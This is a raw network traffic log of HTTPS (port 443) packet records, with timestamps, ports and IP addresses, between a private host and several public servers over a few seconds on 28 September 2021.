Sep 28, 2021 09:53:39.935295105 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.935300112 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.935323000 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.935517073 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.935869932 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.935934067 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.935964108 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.935972929 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.935995102 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.936006069 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.936038017 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.936067104 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.936074018 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.936096907 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.936573982 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.963619947 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.963676929 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.963733912 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.963741064 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.963758945 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.963781118 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.963807106 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.963888884 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.963893890 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.964006901 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.085906029 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.085973978 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.086018085 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.086025000 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.086038113 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.086069107 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.086074114 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.086128950 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.086139917 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.086163998 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.086289883 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.465982914 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.466072083 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.466110945 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.466156006 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.466186047 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.466217995 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:40.466293097 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.466305017 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.466309071 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.489562988 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:40.489598036 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:42.414522886 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:42.414745092 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:42.414840937 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.429328918 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.429363012 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:42.429375887 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.430299997 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.441169024 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.441227913 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:42.441329002 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.444674969 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.444701910 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:42.506356955 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:42.506958961 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.510266066 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.510287046 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:42.513629913 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.513653040 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:42.513874054 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:42.513895988 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.794368982 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.794806004 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.794984102 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.794996977 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.795445919 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.795465946 CEST	443	49884	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.795475960 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.797089100 CEST	49884	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.798715115 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.798757076 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.798866034 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.799539089 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.799555063 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.862193108 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.862505913 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.865216970 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.865241051 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.868829966 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.868864059 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.868874073 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:44.868879080 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:44.873800039 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:44.873846054 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:44.874998093 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:44.876138926 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:44.876158953 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:44.936537027 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:44.936696053 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:44.948513031 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:44.948529005 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:44.951570034 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:44.951704025 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:44.952620983 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:44.995136023 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.345233917 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.345335007 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.347917080 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.348542929 CEST	49886	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.348561049 CEST	443	49886	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.469748020 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.469789982 CEST	443	49887	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.470191956 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.471537113 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.471551895 CEST	443	49887	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.518938065 CEST	443	49887	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.519165993 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.523242950 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.523271084 CEST	443	49887	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.523323059 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.523340940 CEST	443	49887	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.675091982 CEST	443	49887	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.675205946 CEST	443	49887	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.675348043 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.675472021 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.677763939 CEST	49887	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:45.677794933 CEST	443	49887	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:45.942087889 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:45.942137003 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:45.942822933 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:45.942862034 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:45.942872047 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.035413027 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.035675049 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.044425964 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.044450045 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.044718027 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.044883013 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.052434921 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.095139027 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.210742950 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.210906982 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.211853027 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.218750954 CEST	49892	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.218787909 CEST	443	49892	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.470638990 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.470705986 CEST	443	49893	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.479192019 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.499275923 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.499309063 CEST	443	49893	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.583620071 CEST	443	49893	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.586044073 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.592258930 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.592283010 CEST	443	49893	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.641906977 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.641927004 CEST	443	49893	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.786114931 CEST	443	49893	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.786336899 CEST	443	49893	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:46.786400080 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.786751032 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.853177071 CEST	49893	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:46.853208065 CEST	443	49893	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:47.066155910 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.066262960 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.066586018 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.066621065 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.066658020 CEST	443	49885	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.066683054 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.066850901 CEST	49885	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.114924908 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.114950895 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.115133047 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.115462065 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.115472078 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.180361986 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.180934906 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.182528973 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.182539940 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.184329987 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.184349060 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.184356928 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:47.184360027 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:47.661402941 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.661441088 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.663386106 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.663440943 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.663453102 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.733390093 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.735292912 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.751576900 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.751624107 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.752008915 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.752980947 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.753000975 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.772161961 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.772208929 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.772264004 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.772301912 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.772317886 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.772875071 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.772898912 CEST	49896	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:47.772916079 CEST	443	49896	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:47.909408092 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:47.909461021 CEST	443	49897	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:47.910403013 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:47.911883116 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:47.911920071 CEST	443	49897	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:47.956207991 CEST	443	49897	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:47.958031893 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:47.959558010 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:47.959578991 CEST	443	49897	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:47.960901022 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:47.960922003 CEST	443	49897	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:48.105679035 CEST	443	49897	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:48.105792999 CEST	443	49897	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:48.106436968 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:48.106456041 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:48.135356903 CEST	49897	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:48.135395050 CEST	443	49897	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:48.870796919 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.870855093 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:48.870978117 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.872404099 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.872435093 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:48.919984102 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:48.920150042 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.941751957 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.941791058 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:48.942650080 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.942671061 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:48.961699009 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:48.961750984 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:48.961802006 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:48.961833000 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.961901903 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.963490963 CEST	49899	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:48.963520050 CEST	443	49899	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.088474989 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.088520050 CEST	443	49900	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:49.088622093 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.089983940 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.090007067 CEST	443	49900	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:49.133861065 CEST	443	49900	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:49.134109974 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.135730982 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.135744095 CEST	443	49900	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:49.138379097 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.138396025 CEST	443	49900	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:49.277812004 CEST	443	49900	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:49.277888060 CEST	443	49900	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:49.277889967 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.277965069 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.278620958 CEST	49900	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:49.278647900 CEST	443	49900	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:49.701689959 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:49.701769114 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:49.701809883 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.702006102 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.702028036 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.702044964 CEST	443	49894	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:49.703385115 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.703447104 CEST	49894	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.808079004 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.808129072 CEST	443	49903	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:49.808336973 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.810195923 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.810221910 CEST	443	49903	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:49.871978998 CEST	443	49903	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:49.872948885 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.872962952 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.872971058 CEST	443	49903	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:49.875758886 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:49.875782967 CEST	443	49903	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:49.875986099 CEST	49904	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:49.876013994 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.876138926 CEST	49904	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:49.876703978 CEST	49904	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:49.876718998 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.923870087 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.923996925 CEST	49904	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:49.924957037 CEST	49904	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:49.924978971 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.927490950 CEST	49904	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:49.927512884 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.966087103 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.966131926 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.966175079 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:49.966363907 CEST	49904	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:49.967936993 CEST	49904	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:49.967962980 CEST	443	49904	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:50.985100985 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:50.985148907 CEST	443	49911	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:50.985292912 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:50.987380028 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:50.987405062 CEST	443	49911	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:51.031753063 CEST	443	49911	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:51.032011032 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:51.034028053 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:51.034049988 CEST	443	49911	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:51.036418915 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:51.036443949 CEST	443	49911	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:51.175647020 CEST	443	49911	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:51.175761938 CEST	443	49911	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:51.175834894 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:51.175856113 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:51.177479029 CEST	49911	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:51.177506924 CEST	443	49911	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:51.306730986 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.306777000 CEST	443	49912	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:51.307965040 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.308908939 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.308938980 CEST	443	49912	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:51.388782024 CEST	443	49912	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:51.389264107 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.390244007 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.390260935 CEST	443	49912	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:51.392184973 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.392205000 CEST	443	49912	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:51.572599888 CEST	443	49912	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:51.572808981 CEST	443	49912	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:51.572871923 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.574784040 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.574810982 CEST	49912	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:51.574826956 CEST	443	49912	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:52.137008905 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.137064934 CEST	443	49916	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:52.137310028 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.137751102 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.137768030 CEST	443	49916	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:52.207727909 CEST	443	49916	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:52.211473942 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.214735031 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.214776993 CEST	443	49916	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:52.214790106 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.214796066 CEST	443	49916	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:52.252027035 CEST	443	49916	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:52.253638983 CEST	443	49916	142.250.185.196	192.168.2.3
